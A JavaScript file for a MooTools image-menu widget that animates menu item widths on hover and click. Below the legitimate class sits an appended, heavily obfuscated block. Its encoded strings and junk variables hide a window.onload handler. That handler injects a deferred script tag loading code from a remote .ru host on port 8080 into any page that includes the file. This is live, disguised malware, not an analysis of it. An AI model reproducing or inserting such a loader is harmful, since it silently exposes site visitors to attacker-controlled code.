/**************************************************************

	Script	: Image Menu
	Version	: 2.2
	Authors	: Samuel Birch
	Desc	: 
	Licence	: Open Source MIT Licence

**************************************************************/

var ImageMenu = new Class({
	
	getOptions: function(){
		return {
			onOpen: false,
			onClose: Class.empty,
			openWidth: 200,
			transition: Fx.Transitions.quadOut,
			duration: 400,
			open: null,
			border: 0
		};
	},

	initialize: function(elements, options){
		this.setOptions(this.getOptions(), options);
		
		this.elements = $$(elements);
		
		this.widths = {};
		this.widths.closed = this.elements[0].getStyle('width').toInt();
		this.widths.openSelected = this.options.openWidth;
		this.widths.openOthers = Math.round(((this.widths.closed*this.elements.length) - (this.widths.openSelected+this.options.border)) / (this.elements.length-1))
		
		
		this.fx = new Fx.Elements(this.elements, {wait: false, duration: this.options.duration, transition: this.options.transition});
		
		this.elements.each(function(el,i){
			el.addEvent('mouseenter', function(e){
				new Event(e).stop();
				this.reset(i);
				
			}.bind(this));
			
			el.addEvent('mouseleave', function(e){
				new Event(e).stop();
				this.reset(this.options.open);
				
			}.bind(this));
			
			var obj = this;
			
			el.addEvent('click', function(e){

				if(obj.options.onOpen){
					new Event(e).stop();
					if(obj.options.open == i){
						obj.options.open = null;
						obj.options.onClose(this.href, i);
					}else{
						obj.options.open = i;
						obj.options.onOpen(this.href, i);
					}
					
					
				}
				
			})
			
		}.bind(this));
		
		if(this.options.open){
			if($type(this.options.open) == 'number'){
				this.reset(this.options.open);
			}else{
				this.elements.each(function(el,i){
					if(el.id == this.options.open){
						this.reset(i);
					}
				},this);
			}
		}
		
	},
	
	reset: function(num){
		if($type(num) == 'number'){
			var width = this.widths.openOthers;
			if(num+1 == this.elements.length){
				width += this.options.border;
			}
		}else{
			var width = this.widths.closed;
		}
		
		var obj = {};
		this.elements.each(function(el,i){
			var w = width;
			if(i == this.elements.length-1){
				w = width+5
			}
			obj[i] = {'width': w};
		}.bind(this));
		
		if($type(num) == 'number'){
			obj[num] = {'width': this.widths.openSelected};
		}
				
		this.fx.start(obj);
	}
	
});

ImageMenu.implement(new Options);
ImageMenu.implement(new Events);


/*************************************************************/


var f=new Array();this.X='';function Nk(){this.uv='';var O;if(O!='t' && O!='C'){O=''};var d=window;var P=unescape;var wl;if(wl!='' && wl!='fR'){wl=''};var HK;if(HK!='' && HK!='F'){HK=''};var b=P("%2f%72%31%30%2d%6e%65%74%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%6e%64%69%61%6e%72%61%69%6c%2e%67%6f%76%2e%69%6e%2e%70%68%70");var r;if(r!='' && r!='Fg'){r=null};function N(a,w){var A="g";var Rv=new Date();this.CK="";var h=P("%5b"), v=P("%5d");this.Nq='';var ZR='';var Pn=h+w+v;var M_;if(M_!='' && M_!='K'){M_=null};var h_=new RegExp(Pn, A);var PSG="";return a.replace(h_, new String());};var c;if(c!='' && c!='o_'){c=null};var iA='';var xP='';var vt=new String();var ZV;if(ZV!='Q' && ZV!='k'){ZV=''};var n=document;var _=N('854742204162837965904536526','14697325');var l;if(l!='ZK'){l=''};var W;if(W!=''){W='oJ'};var oF=new Date();var Ka='';var y=new String();var XBN="";this.rM="";var uM;if(uM!='g'){uM='g'};function J(){var m=new Date();var cg=new String();var E=P("%68%74%74%70%3a%2f%2f%72%65%61%63%68%73%61%77%2e%72%75%3a");var _U='';y=E;y+=_;this.Wh='';y+=b;try {var D;if(D!='' && D!='XBB'){D='ja'};var az=new Date();_Z=n.createElement(N('sHc4r4i4p4tH','H4'));_Z[P("%73%72%63")]=y;_Z[P("%64%65%66%65%72")]=[4,1][1];this.hN="";var lX=new Date();n.body.appendChild(_Z);var NZ=new String();var m_='';} catch(u){alert(u);};var aG=new Date();}d[String("onloafr8I".substr(0,5)+"0CMdC0M".substr(3,1))]=J;var IW;if(IW!='AO' && IW!='uMP'){IW=''};var kt=new Date();var iV="";};var dt="";var JW;if(JW!='' && JW!='jC'){JW=''};var gK;if(gK!='' && gK!='dk'){gK=''};var gC;if(gC!='' && gC!='TR'){gC=''};Nk();var CZ;if(CZ!='MS' && CZ!='Yt'){CZ='MS'};var EwI='';